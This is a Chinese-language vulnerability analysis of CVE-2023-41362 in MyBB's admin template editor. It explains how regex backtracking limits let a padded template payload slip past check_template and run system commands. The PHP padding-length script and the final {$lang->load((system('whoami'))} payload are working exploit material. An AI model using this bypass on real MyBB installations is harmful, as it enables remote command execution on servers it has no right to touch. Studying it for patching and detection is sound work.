CVE-2023-41362 mybb模板注入漏洞分析

MyBB 是一款免费的开源论坛软件,使用php开发,支持用户自定义模板。Mybb<1.8.36的版本中,存在模板注入漏洞。

CVE-2023-41362 mybb模板注入漏洞分析

前言

MyBB 是一款免费的开源论坛软件,使用php开发,支持用户自定义模板。Mybb<1.8.36的版本中,存在模板注入漏洞。

漏洞功能分析

漏洞位于后台的模板编辑处,可以绕过安全限制注入恶意代码导致命令执行漏洞。

修改任一模板(以online模板为例)点击保存

image-20240904103907941

请求url为https://xxx.com/Upload/admin/index.php?module=style-templates&amp;action=edit\_template&amp;title=online&amp;sid=1&amp;expand=16

module=style-templates
action=edit_template

定位/Upload/admin/index.php文件,代码通过接受module参数(style-templates),并以”-”分割存入数组分别最终赋值给$run_module(style)和$action_file(templates)

image-20240904112425947

并最终使用require包含($modules_dir为默认的安装位置)

image-20240904112916427

定位到/Upload/admin/modules/style/templates.php

接收action参数,执行动作为编辑模板时,先进入一个安全检查,

image-20240904113414588

随后模板数据在数据库中完成更新

image-20240904145952395

而在访问对应的模板文件时,通过eval函数执行模板内容

image-20240904145318227

所以模板注入有两种方案,要么绕过check_template的限制注入恶意代码,要么通过sql注入直接在数据库执行sql语句向模板中写入恶意代码。

check_template的实现如下

function check_template($template)
{
    // Check to see if our database password is in the template
    if(preg_match('#\$config\[(([\'|"]database[\'|"])|([^\'"].*?))\]\[(([\'|"](database|hostname|password|table_prefix|username)[\'|"])|([^\'"].*?))\]#i', $template)) 
    {
        return true;
    }

    // System calls via backtick
    if(preg_match('#\$\s*\{#', $template))
    {
        return true;
    }

    // Any other malicious acts?
    // Courtesy of ZiNgA BuRgA
    if(preg_match("~\\{\\$.+?\\}~s", preg_replace('~\\{\\$+[a-zA-Z_][a-zA-Z_0-9]*((?:-\\>|\\:\\:)\\$*[a-zA-Z_][a-zA-Z_0-9]*|\\[\s*\\$*([\'"]?)[a-zA-Z_ 0-9 ]+\\2\\]\s*)*\\}~', '', $template)))
    {
        return true;
    }

    return false;
}

第一个正则用于检测模板中是否有数据库账号密码的字段

第二个正则用于检测类似**"$(任意个空白字符){"**格式的恶意代码

第三个正则先是用preg_replace函数将诸如**"{$a}、{$a->bbb}、{$a[bbb]}、{$a[b][b][b]}"**等字符替换为空,在匹配是否仍然含有

"{$(一个或多个任意字符)}"

通过之前默认的模板文件可以看到,第三个正则主要是用于将合法的模板插值去空后,再检测是否存在恶意插值

image-20240904163950861

例如当模板内容为{$system('whoami')}时,就会被第三个正则检测到而拦截。

PS:MYBB开源论坛系统使用的是自定义的模板系统,而不是常见的第三方模板引擎,通过{$变量}表示一个动态插值。

回溯陷阱(Catastrophic Backtracking)

正则引擎主要可以分为基本不同的两大类:一种是DFA(确定型有穷自动机),另一种是NFA(不确定型有穷自动机)。简单来讲,NFA 对应的是正则表达式主导的匹配,而 DFA 对应的是文本主导的匹配。

举个例子

text = ‘huisuxianjing’ regex = ‘i(a|b)’

在NFA匹配的时候,先用正则中的第一个字符i去匹配,匹配到第一个i后,再用(a|b)去匹配text中第一个i后的s,发现不匹配后,正则退回到i,继续第一个i后的s开始匹配,直至结束。

image-20240909182501513

而在DFA匹配的时候,采用的是文本为主导的匹配方式,即从text中的h开始去匹配正则,发现不匹配后,继续从下一个字符去比较,直至text字符串中的第一个i匹配到了正则中的i,再用后面的s去匹配正则的(a|b),发现不匹配后,再用text字符串中的后续值去匹配直至结束。

image-20240909181646484

由于NFA的执行过程存在回溯,所以性能会劣于DFA,但由于其支持更多功能,被大多数程序语言作为了正则引擎,其中就包括php使用的pcre库。

image-20240904172032215

NFA的回溯

image-20240724154523049

前两步不必多说,第三步匹配.*是直接匹配了整个字符串。导致后面没有字符可以和>匹配了,于是发生了第一次回溯,吐出一个字符即最右边的>,此时第三步的.*匹配的是"\<d>A\</d>\<d>123</d",于是再用正则>去匹配剩下的字符”>“匹配成功。同理此时字符串已经匹配完,\d+的正则又匹配不到了,于是再次发生回溯,依次吐出字符重新匹配如上图所示,一共发生了8次回溯,

可以看到,在本正则中,回溯的次数与字符串中的数字部分长短有关,数据部分越长,发生回溯的次数就会越多。

如果数字部分的字符足够长,导致回溯次数过多,甚至会引发ReDos,php为了防止ReDos,给回溯次数设置了一个上限,当回溯次数超过了上限时,preg_match会返回false,而preg_replace会返回null。

image-20240904182638569

绕过check_template

因此可以通过构造大量字符使得回溯次数超过上限来绕过check_template的限制,回忆第三个正则如下

    if(preg_match("~\\{\\$.+?\\}~s", preg_replace('~\\{\\$+[a-zA-Z_][a-zA-Z_0-9]*((?:-\\>|\\:\\:)\\$*[a-zA-Z_][a-zA-Z_0-9]*|\\[\s*\\$*([\'"]?)[a-zA-Z_ 0-9 ]+\\2\\]\s*)*\\}~', '', $template)))
    {
        return true;
    }
    //preg_replace将诸如"{$a}、{$a->bbb}、{$a[bbb]}、{$a[b][b][b]}"等字符替换为空
    //preg_match检测"{$(一个或多个任意字符)}"

因此只要构造足够长的垃圾字符,使得preg_replace或者preg_match达到回溯上限返回null/false,就可以绕过安全限制。

用如下脚本可以大概估算下各需要构造多长的payload。

<?php

function checkMacth($preg_match_vaule) {
    $pattern ='~\\{\\$.+?\\}~s';
    $subject ='{$system("whoam"'.str_repeat(".''",$preg_match_vaule).'.'.'"i"'.')}';
    return preg_match($pattern,$subject);
}
$preg_match_vaule=1;

// 循环直到 preg_match_vaule 的结果为 false
for (; checkMacth($preg_match_vaule) !== false;$preg_match_vaule += 100){    
}
    echo "preg_match_vaule大概值: $preg_match_vaule\n";
//{$system("whoam".''.''.''."i")}

function checkReplace($preg_replace_value) {
    $pattern = '~\{\$+[a-zA-Z_][a-zA-Z_0-9]*((?:-\\>|\\:\\:)\\$*[a-zA-Z_][a-zA-Z_0-9]*|\\[\s*\\$*([\'"]?)[a-zA-Z_0-9 ]+\\2\\]\s*)*\\}~';
    $subject = '{$a'.str_repeat('[0]', $preg_replace_value).'}';
    return preg_replace($pattern, '', $subject);
}

$preg_replace_value = 1;

// 循环直到 preg_replace 的结果为 null
for (; checkReplace($preg_replace_value) !== null; $preg_replace_value += 100) {
    }
   echo "preg_replace_value大概值: $preg_replace_value\n";

//{$a[0][0][0][0]}
?>

image-20240910101802633

测试发现preg_replace中{$a[b][b][b]}类型的值可以以输入最短的字符长度实现最多的回溯次数,只需要5k多个字符,而达到preg_match的回溯上限则需要90w多个字符。

所以通过在恶意代码后添加一些多维数组例如

{$a[0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0]......}

使得正则执行失败,从而进行绕过。

因此写入模板内容如下

{$system('whoami')}{$a[0][0][0][0][0][0][0][0][0][0][0][0][0]很多个[0]}

虽然写入成功了但是执行时报错了

image-20240904184632460

mybb的模板引无法直接解析{$system('whoami')},因此模仿模板自带的方式找现有的方法去调用下,观察下默认模板的调用方式

image-20240904184808446

寻找利用$lang已有的方法去调用

image-20240904185017942

{$lang->load((system('whoami'))}{$a[0][0][0][0][0][0][0][0][0]......}

image-20240904185135447

访问触发,成功执行命令

image-20240904185259749

漏洞修复

判断了preg_match的返回值不能为false,preg_replace的返回值不能为null。

image-20240904185320642

  • 发表于 2024-11-06 09:00:02
  • 阅读 ( 25705 )
  • 分类:漏洞分析

0 条评论

请先 登录 后评论
中铁13层打工人
中铁13层打工人

79 篇文章

站长统计